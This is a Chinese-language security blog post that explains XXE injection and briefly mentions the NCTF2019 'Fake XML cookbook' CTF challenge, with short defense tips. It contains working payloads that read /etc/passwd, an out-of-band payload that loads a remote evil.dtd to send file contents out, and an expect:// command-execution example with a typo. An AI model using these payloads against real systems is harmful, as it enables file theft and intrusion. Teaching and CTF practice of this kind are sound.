XXE漏洞學習和利用—[NCTF2019]Fake XML cookbook


引言

記錄一下XXE的學習要點。

XXE

    XXE (XML External Entity injection)XML 外部實體注入漏洞,如果XML 文件在引用外部實體時候,可以溝通構造惡意內容,可以導致讀取任意文件,命令執行和對內網的攻擊,這就是XXE漏洞。

所以在學習XXE漏洞之前需要先了解一下什么是XML文件。

XML

XML用於標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。

 DTD

 其中文檔類型定義(DTD)是XXE漏洞的重點利用對象,DTD用來為XML文檔定義語義約束。可以嵌入在XML文檔中(內部聲明),也可以獨立的放在一個文件中(外部引用)。

 DTD中一些重要的關鍵字包括:

  • DOCTYPE(DTD的聲明)
  • ENTITY(實體的聲明)
  • SYSTEM、PUBLIC(外部資源申請)

內部聲明:

<!DOCTYPE 根元素 [元素聲明]>

外部聲明:

<!DOCTYPE 根元素 SYSTEM "文件名">

外部引用可支持http、file等協議,不同的語言支持的協議不同,但存在一些通用的協議。例如:

 實際利用:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

<user><username>&xxe;</username><password>root</password></user>

 XXE漏洞

XXE漏洞就是XML外部實體注入。當允許引用外部實體時,通過構造惡意內容,可導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。

XXE的危害1:任意文件讀取

利用file、http協議,在DTD外部引用中注入,從而獲取文件內容。任意文件讀取有分為有回顯和無回顯兩種。

有回顯:可以直接在DTD中讀取文件內容,攻擊者通過列目錄、讀文件,獲取帳號密碼后進一步攻擊。

無回顯:

 

 如果沒有回顯的話可以把數據發送到遠程服務器。

<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
                <!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">
                 %f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);

遠程服務器的evil.dtd文件內容:

<!ENTITY b SYSTEM "file:///etc/passwd">

XXE危害2:命令執行

php環境下,xml命令執行要求php裝有expect擴展。而該擴展默認沒有安裝。

<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

XXE危害3:內網探測/SSRF

由於xml實體注入攻擊可以利用http://協議,也就是可以發起http請求。可以利用該請求去探查內網,進行SSRF攻擊。

 

 

 

 XXE危害4:攻擊內網網站

 

 

 XXE防御方法

  1. 禁止使用DTD的外部聲明;
  2. 對用戶提交過來的XML數據進行過濾。

 實戰:[NCTF2019]Fake XML cookbook

 

 

 

 

由題目名稱和源碼猜測是XXE,可以進行嘗試。可以根據常規的文件路徑多嘗試一下,找flag,這個應該是最簡單的XXE利用了。

 

參考

https://security.tencent.com/index.php/blog/msg/69

https://blog.csdn.net/qq_36197704/article/details/82255043

https://www.jianshu.com/p/7325b2ef8fc9


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM